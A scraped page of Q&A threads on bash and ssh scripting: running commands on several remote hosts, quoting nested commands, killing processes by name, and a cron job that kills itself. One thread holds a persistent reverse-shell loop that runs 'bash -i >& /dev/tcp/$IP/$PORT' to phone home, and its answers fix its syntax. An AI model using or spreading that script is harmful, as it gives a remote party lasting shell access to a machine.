Linux Command within Command - linux

My use case is to run a command on multiple servers remotely. I have trust set up between hosts.
So i have one command like this:
COMMAND 1:
for i in 11 12 13 14 15 16; do echo host-name-dev-$i; ssh -q host-name-dev-$i "nohup bash -c 'Place Ur command Here' > foo.out 2> foo.err < /dev/null &"; done
And another as:
COMMAND 2:
rm -rf /floderPath
When i combine(COMMAND 1 + COMMAND 2) these two it works fine and subsequent folder is deleted from all hosts.
for i in 11 12 13 14 15 16; do echo host-name-dev-$i; ssh -q host-name-dev-$i "nohup bash -c 'rm -rf /floderPath' > foo.out 2> foo.err < /dev/null &";done
Now i have another command. If i run this command on all the hosts individually, it works fine and kill all the java processes.
COMMAND 3:
for i in `ps -ef | grep -v grep | grep java | awk '{print $2}'`; do kill -9 $i; echo "Process id $i is killed"; done
But now when i combine COMMAND 1 and COMMAND 3 it doesn't work at all. What i am trying to do here is KILLING all JAVA process on all the hosts.
for i in 11 12 13 14 15 16; do echo host-name-dev-$i; ssh -q host-name-dev-$i "nohup bash -c 'for j in `ps -ef | grep -v grep | grep java | awk '{print $2}'`; do kill -9 $j; echo "Process id $j is killed"; done' > foo.out 2> foo.err < /dev/null &";done
I can guess that there might be improper use of quotes, but i have tried various combinations and it didn't work for me.
I don't have much experience in scripting so pardon for obvious errors.

I think the following quoting should work...
for i in 11 12 13 14 15 16; do
echo host-name-dev-$i
ssh -q host-name-dev-$i "nohup bash -c \"for j in \\\`ps -ef | grep -v grep | grep java | awk '{print \\\$2}'\\\`; do kill -9 \\\$j; echo \\\"Process id \\\$j is killed\\\"; done\" > foo.out 2> foo.err < /dev/null &"
done
Update: Please do not kill yourself over the amount of escape characters.

bash or any other shell can't take a good proccess in remote Interaction action.
use expect language to do what you want. http://expect.sourceforge.net/
We use expect in more than 1000 hosts, It works fine, try :)

Related

Using ssh inside a script to run another script that itself calls ssh

I'm trying to write a script that builds a list of nodes then ssh into the first node of that list
and runs a checknodes.sh script which it's self is just a for i loop that calls checknode.sh
The first 2 lines seems to work ok, the list builds successfully, but then I get either get just the echo line of checknodes.sh to print out or an error saying cat: gpcnodes.txt: No such file or directory
MYSCRIPT.sh:
#gets the master node for the job
MASTERNODE=`qstat -t -u \* | grep $1 | awk '{print$8}' | cut -d'#' -f 2 | cut -d'.' -f 1 | sed -e 's/$/.com/' | head -n 1`
#builds list of nodes in job
ssh -qt $MASTERNODE "qstat -t -u \* | grep $1 | awk '{print$8}' | cut -d'#' -f 2 | cut -d'.' -f 1 | sed -e 's/$/.com/' > /users/issues/slow_job_starts/gpcnodes.txt"
ssh -qt $MASTERNODE cd /users/issues/slow_job_starts/
ssh -qt $MASTERNODE /users/issues/slow_job_starts/checknodes.sh
checknodes.sh
for i in `cat gpcnodes.txt `
do
echo "### $i ###"
ssh -qt $i /users/issues/slow_job_starts/checknode.sh
done
checknode.sh
str=`hostname`
cd /tmp
time perf record qhost >/dev/null 2>&1 | sed -e 's/^/${str}/'
perf report --pretty=raw | grep % | head -20 | grep -c kernel.kallsyms | sed -e "s/^/`hostname`:/"
When ssh -qt $MASTERNODE cd /users/issues/slow_job_starts/ is finished, the changed directory is lost.
With the backquotes replaced by $(..) (not an error here, but get used to it), the script would be something like
for i in $(cat /users/issues/slow_job_starts/gpcnodes.txt)
do
echo "### $i ###"
ssh -nqt $i /users/issues/slow_job_starts/checknode.sh
done
or better
while read -r i; do
echo "### $i ###"
ssh -nqt $i /users/issues/slow_job_starts/checknode.sh
done < /users/issues/slow_job_starts/gpcnodes.txt
Perhaps you would also like to change your last script (start with cd /users/issues/slow_job_starts)
You will find more problems, like sed -e 's/^/${str}/' (the ${str} inside single quotes won't be replaced by a host), but this should get you started.
EDIT:
I added option -n to the ssh call.
Redirects stdin from /dev/null (actually, prevents reading from stdin).
Without this option only one node is checked.

Don't kill created processes, which created by ps - linux

give some advice, please.
I am trying to kill processes remotely (ssh to hostname), find some processes and kill them. But I have a condition: Do not kill java process, sshd and gnome.
Here is example (I just do echo except kill):
#/bin/sh -x.
HOSTFILE=$1
vars=`cat $HOSTFILE`
for i in $vars; do
ssh "$i" /bin/bash <<'EOF'
echo $(hostname)
ps aux | grep -e '^sys_ctl'| grep -v "java" | grep -v "sshd" | \
grep -v "gnome" | awk '{print $2$11}'| for i in `xargs echo`; do echo $i; done;
EOF
done
The result is:
host1:
21707/bin/bash
21717ps
21718grep
21722awk
21723/bin/bash
21724xargs
host2:
15241/bin/bash
15251ps
15252grep
15256awk
15257/bin/bash
15258xargs
89740-bash
98467sleep
98469sleep
98471sleep
98472sleep
98474sleep
98475sleep
I want to kill (output), only sleep processes, not grep,awk,bash,xargs,ps
Can you suggest something elegant?
why not just : kill $(pgrep -f sleep)
or : pkill -f sleep

Need to run ksh script in windows korn shell

I am new to korn shell, I am trying to run ksh script that to kill all 3 days older process in my server, that works good for direct input, but when I put this in a for look script I got error, someone please help.
FYI, korn shell is installed in windows server.
> cat test.ksh
#! /usr/bin/ksh
for i in {ps -eo etime,pid,args | awk -F- '$1>3{print}' | grep -i read_ini | awk '{print $2}'}
do
kill -9 $i
done
LCQU#SETOPLCORA01Q [/dev/fs/E/home/serora]
> ./test.ksh
./test.ksh[3]: syntax error: `|' unexpected
LCQU#SETOPLCORA01Q [/dev/fs/E/home/serora]
> ksh test.ksh
test.ksh[3]: syntax error: `|' unexpected
LCQU#SETOPLCORA01Q [/dev/fs/E/home/serora]
> ls -l test.ksh
-rwxrwx--- 1 jagadee Domain Users 133 Dec 24 13:16 test.ksh
Do not use {} but $() for a subprocess:
for i in $(ps -eo etime,pid,args | awk -F- '$1>3{print}' | grep -i read_ini | awk '{print $2}')
do
kill -9 $i
done

Error "Integer Expression Expected" in Bash script

So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.
What am I doing wrong? My code is below.
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
There is a small change required in your code.
You have to use tilt "`" instead of single quotes "''" inside if.
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
This worked for me. Hope it helps you too.
Besides the typo mentioned in the comments it should be:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.
PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.

Why part of the script cannot execute in the crontab

I have a script stopping the application and zipping some files:
/home/myname/project/stopWithZip.sh
With the properties below:
-rwxrwxr-x. 1 myname myname778 Jun 25 13:48 stopWithZip.sh
Here is the content of the script:
ps -ef | grep project | grep -v grep | awk '{print $2}' |xargs kill -15
month=`date +%m`
year=`date +%Y`
fixLogs=~/project/log/fix/$year$month/*.log.*
errorLogs=~/project/log/error/$year$month/log.*
for log in $fixLogs
do
if [ ! -f "$log.gz" ];
then
gzip $log
echo "Archived:"$log
else
echo "skipping" $log
fi
done
echo "Archived fix log files done"
for log in $errorLogs
do
if [ ! -f "$log.gz" ]; then
gzip $log
echo "Archived:"$log
else
echo "skipping" $log
fi
done
echo "Archived errorlog files done"
The problem is except this ps -ef | grep project | grep -v grep | awk '{print $2}' |xargs kill -15 command, other gzip commands are not executed. I totally don't understand why.
I cannot see any compression of the logs in the directory.
BTW, when I execute the stopWithZip.sh explicitly in command line, it works perfectly fine.
In crontab:
00 05 * * 2-6 /home/myname/project/stopWithZip.sh >> /home/myname/project/cronlog/$(date +"\%F")-stop.log 2>&1 (NOT work)
In command line:
/home/myname/project>./stopWithZip.sh (work)
Please help
The script fails when run under cron because your script is invoked with project in its path, so the kill pipeline kills the script too.
You could prove (or disprove) this by adding some tracing. Log the output of ps and of awk to log files:
ps -ef |
tee /tmp/ps.log.$$ |
grep project |
grep -v grep |
awk '{print $2}' |
tee /tmp/awk.log.$$ |
xargs kill -15
Review the logs and see that your script is one of the processes being killed.
The crontab entry contains:
/home/myname/project/stopWithZip.sh >> /home/myname/project/cronlog/$(date +"\%F")-stop.log 2>&1
When ps lists that, it contains 'project' and does not contain 'grep' so the kill in the script kills the script itself.
When you run it from the command line (using a conventional '$' as the prompt), you run:
$ ./stopWithZip.sh
and when ps lists that, it does not contain 'project' so it is not killed.
If you ran:
$ /home/myname/project/stopWithZip.sh >> /home/myname/project/cronlog/$(date +"\%F")-stop.log 2>&1
from the command line, like you do with cron (crontab), you would find it fails.

Resources